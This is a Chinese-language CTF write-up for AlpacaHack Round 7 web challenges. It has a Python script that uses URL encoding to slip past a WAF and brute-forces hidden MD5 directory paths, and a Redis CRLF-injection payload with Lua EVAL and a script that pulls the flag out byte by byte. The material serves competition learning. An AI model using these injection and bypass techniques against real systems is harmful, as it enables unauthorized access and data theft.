【Web】AlpacaHack Round 7 (Web) 题解

news2024/12/23 13:59:45

Treasure Hunt

flag在md5值拼接flagtxt的文件里,如

d/4/1/d/8/c/d/9/8/f/0/0/b/2/0/4/e/9/8/0/0/9/9/8/e/c/f/8/4/2/7/e/f/l/a/g/t/x/t

访问已经存在的目录状态码是301

访问不存在的目录状态码是404

 

 基于此差异可以写爆破脚本

这段waf可以用url编码绕过

做个lab

const express = require('express');
const app = express();

// 路由处理:直接返回请求的 URL
app.get('*', (req, res) => {
  res.send(`Request URL: ${req.url}`);
});

// 启动服务器
const port = 3000;
app.listen(port, () => {
  console.log(`Server is running at http://localhost:${port}`);
});

 

可以看到express的req.url直接取到了原始路径

gpt搓一个脚本

import http.client
import string

# MD5字符集
md5_chars = string.digits + string.ascii_lowercase[:6]  # 0-9, a-f

# 指定的目标URL
base_url = '34.170.146.252'
port = 49215  # 端口号

# 自定义URL编码函数,对数字和字母进行URL编码
def custom_urlencode(path):
    encoded_path = ""
    
    # 遍历路径中的每个字符
    for char in path:
        # 如果是字母或数字,则进行URL编码
        if char.isalnum():  # 如果字符是字母或数字
            # 获取字符的 ASCII 值,转换为 2位16进制并加上%
            encoded_path += '%' + format(ord(char), '02x')
        else:
            # 否则直接添加字符(如 /、- 等)
            encoded_path += char
    
    return encoded_path

# 校验路径是否满足条件的函数
def check_path(path):
    # 对路径进行自定义URL编码
    encoded_path = custom_urlencode(path)
    
    # 创建一个http.client的连接
    connection = http.client.HTTPConnection(base_url, port)
    
    try:
        url = "/" + encoded_path  # 拼接请求的路径
        print(f"Requesting URL: {url}")  # 打印发包的URL
        
        # 发送GET请求
        connection.request("GET", url)
        
        # 获取响应
        response = connection.getresponse()
        
        print(f"Response Status Code: {response.status}")  # 打印响应状态码
        
        # 假设条件是通过返回的状态码来判断
        if response.status == 301:
            print(f"Valid path found: {url}")
            return True
        else:
            return False
    except Exception as e:
        # 如果请求失败或出错,打印错误信息
        print(f"Error while checking path {path}: {e}")
        return False
    finally:
        connection.close()

# 爆破路径的函数
def brute_force_path(prefix, depth=1):
    print(f"Starting depth {depth}: Trying path: {prefix}")
    
    if depth == 33:
        # 达到深度33时,停止递归
        print(f"Depth {depth} reached. Stopping path exploration.")
        return
    
    else:
        # 尝试每一个MD5字符集中的字符
        for char in md5_chars:
            new_prefix = prefix + "/" + char
            print(f"Depth {depth}: Trying character: {char}, Path: {new_prefix}")
            if check_path(new_prefix):
                brute_force_path(new_prefix, depth + 1)
                break  # 如果找到有效路径,停止尝试继续当前字符

# 启动路径爆破,开始爆破第一位
brute_force_path('')

脚本跑出来的路径再拼接/f/l/a/g/t/x/t的url编码拿到flag

 

Alpaca Poll

js中的replace只会替换一次,详见:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#description

在/vote处注入 

 

 

打redis的EVAL LUA命令注入,把dog的值换成flag的值

直接插payload会这样:

animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); redis.call('SET', 'dog', flag_value); return flag_value;" 0

 

原因在于getvotes方法最后只回显数字

 可以先将flag字符串转ascii码

animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); local ascii_values = ''; for i = 1, #flag_value do ascii_values = ascii_values .. string.byte(flag_value, i) end; redis.call('SET', 'dog', ascii_values); return ascii_values;" 0

parseInt转出来太大了,精度不够

65108112979997120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

 搓个脚本用GETRANGE逐位去读

import requests

target = 'http://34.170.146.252:24564'
flag = ''
index = 0
while not flag.endswith('}'):
    payload = f'\r\n\r\nEVAL "return redis.call(\'SET\', \'dog\', string.byte(redis.call(\'GETRANGE\',\'flag\', {index}, {index})))" 0'
    response = requests.post(f'{target}/vote', data={'animal': 'dog' + payload}, headers={'Content-Type': 'application/x-www-form-urlencoded'})
    if response.status_code != 200:
        print(f"Error with /vote request: {response.status_code}")
        break
    response = requests.get(f'{target}/votes')
    if response.status_code != 200:
        print(f"Error with /votes request: {response.status_code}")
        break
    votes = response.json()
    dog_ascii = votes.get('dog')
    if dog_ascii is not None:
        flag += chr(dog_ascii)
        print(f"Flag so far: {flag}")
    else:
        print("No 'dog' field in the response")
        break
    index += 1
print(f"Final flag: {flag}")

跑出来 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2255735.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数字电路与逻辑设计】实验五 4人表决器

文章总览:YuanDaiMa2048博客文章总览 【数字电路与逻辑设计】实验五 4人表决器 一、实验内容二、设计过程(一)设置变量(二)真值表(三)表达式 三、源代码(一)代码说明&…

解决Tomcat运行时错误:“Address localhost:1099 is already in use”

目录 背景: 过程: 报错的原因: 解决的方法: 总结: 直接结束Java.exe进程: 使用neststat -aon | findstr 1099 命令: 选择建议: 背景: 准备运行Tomcat服务器调试项目时,程序下…

【C++】刷题强训(day13)--牛牛冲钻五、最长无重复字数组、重排字符串

目录 1、牛牛冲钻五 1. 题目 1.2 思路 1.3 代码实现 2、最长无重复子数组 2.1 题目 2.2 思路 2.3 程序实现 3、重排字符串 3.1 题目 3.2 思路 3.3 代码实现 刷题汇总:传送门! 1、牛牛冲钻五 1. 题目 1.2 思路 由题可知,赢一局则…

Kafka单机及集群部署及基础命令

目录 一、 Kafka介绍1、kafka定义2、传统消息队列应用场景3、kafka特点和优势4、kafka角色介绍5、分区和副本的优势6、kafka 写入消息的流程 二、Kafka单机部署1、基础环境2、iptables -L -n配置3、下载并解压kafka部署包至/usr/local/目录4、修改server.properties5、修改/etc…

在做题中学习(78):数组中第K个最大元素

解法:快速选择算法 说明:堆排序也是经典解决topK问题的算法,但时间复杂度为:O(NlogN) 而将要介绍的快速选择算法的时间复杂度为: O(N) 先看我的前两篇文章,分别学习:数组分三块,随机选择基准…

学习记录,正则表达式, 隐式转换

正则表达式 \\:表示正则表达式 W: 表示一个非字(不是一个字,例如:空格,逗号,句号) W: 多个非字 基本组成部分 1.字符字面量: 普通字符:在正则表达式中,大…

加载内核映像文件

将kernel转换成elf文件格式,不能直接从loader直接跳转到0x100000,需要解析,提取出代码和数据出来,放到0x10000(64kb)的位置,1M的位置只是存放elf文件的位置。 4.10加载内核映像文件2 common/el…

11.27-12.5谷粒商城

目录 新增商品 1.上线会员服务 2. 获取分类关联的品牌 3.获取选定分类下的属性分组和属性 4.新增商品vo 5.保存商品信息 6.Spu检索 7.Sku商品检索 新增商品 1.上线会员服务 将会员服务注册到nacos注册中心,启用服务注册发现EnableDiscoveryClient。 同时新增…

【硬件接口】UART接口

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时,也能帮助其他需要参考的朋友。如有谬误,欢迎大家进行指正。 一、UART接口概要 UART接口,即通用异步接收器/发送器,是一种常用的串行通信协议,广泛应用…

python | print() 函数常被忽略的几点用法

在 python 编程中,print() 是最为基础和常用的函数。 也正因如此,print() 函数的一些基础用法常常被我们初学者所忽略,典型的有:换行问题、间隔符使用及格式化输出等。 一、print() 换行问题 1、默认情况下,每一个 …

VTK编程指南<五>:VTK中的坐标系统、空间变换及VTK矩阵详解

1、坐标系统 计算机图形学里常用的坐标系统主要有 4 种,分别是 Model 坐标系统、World 坐标系统、View坐标系统和 Display坐标系统(这些名词在不同的书里的中文表述均有所差别,所以直接使用英文名词表示),此外还有两种表示坐标点的方式&#…

MaxEnt模型在物种分布模拟中如何应用?R语言+MaxEnt模型融合物种分布模拟、参数优化方法、结果分析制图与论文写作

目录 第一章 以问题导入的方式,深入掌握原理基础 第二章 常用数据检索与R语言自动化下载及可视化方法 第三章 R语言数据清洗与特征变量筛选 第四章 基于ArcGIS、R数据处理与进阶 第五章 基于Maxent的物种分布建模与预测 第六章 基于R语言的模型参数优化 第七…

【JavaEE 进阶(一)】SpringBoot(上)

博主主页: 33的博客 文章专栏分类:JavaEE ??我的代码仓库: 33的代码仓库?? ???关注我带你了解更多进阶知识 目录 1.前言2.Spring3.第一个SpringBoot程序4.Spring MVC 4.1建立连接 4.1.1RequestMapping使用 4.2请求 4.2.1传递单个参数4.2.2传递多个参数4.2.3传递一个对象…

银行项目网上支付接口调用测试实例

🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快 公司最近有一个网站商城项目要开始开发了,这几天老板和几个同事一起开着需求会议,讨论了接下来的业务规划和需求策略,等技术需求…

手机LCD分区刷新技术介绍

分区刷新也称为分区变频,LCD分区刷新功能的目的是将屏幕分为上下半区,分区显示不同帧率,上方区块High Frame Rate,下方区块Low Frame Rate。使用者可以动态自定义上方高刷显示区的结尾位置。 当前的智能手机屏幕上,显示…

TesseractOCR-GUI:基于WPF/C#构建TesseractOCR简单易用的用户界面

前言 前篇文章使用Tesseract进行图片文字识别介绍了如何安装TesseractOCR与TesseractOCR的命令行使用。但在日常使用过程中,命令行使用还是不太方便的,因此今天介绍一下如何使用WPF/C#构建TesseractOCR简单易用的用户界面。 普通用户使用 参照上一篇教…

flask创建templates目录存放html文件

首先,创建flask项目,在pycharm中File --> New Project,选择Flask项目。 然后,在某一目录下,新建名为templates的文件夹,这时会是一个普通的文件夹。 然后右击templates文件夹,选择Unmark as …

python编程Day12-属性和方法的分类

私有和公有 在python中 定义类的时候,可以给 属性和方法设置 访问权限,即规定在什么地方可以使用。 权限一般分为两种:公有权限、私有权限 公有权限 定义:直接定义的属性和方法就是公有的特点: 可以在任何地方访问和使…

Moving Tables

任务内容 Description The famous ACM (Advanced Computer Maker) Company has rented a floor of a building whose shape is in the following figure. The floor has 200 rooms each on the north side and south side along the corridor. Recently the Company made a pla…

小程序 - 美食列表

小程序交互练习 - 美食列表小程序开发笔记 目录 美食列表 功能描述 准备工作 创建项目 配置页面 配置导航栏 启动本地服务器 页面初始数据 设置获取美食数据 设置onload函数 设置项目配置 页面渲染 页面样式 处理电话格式 创建处理电话格式脚本 页面引入脚本 …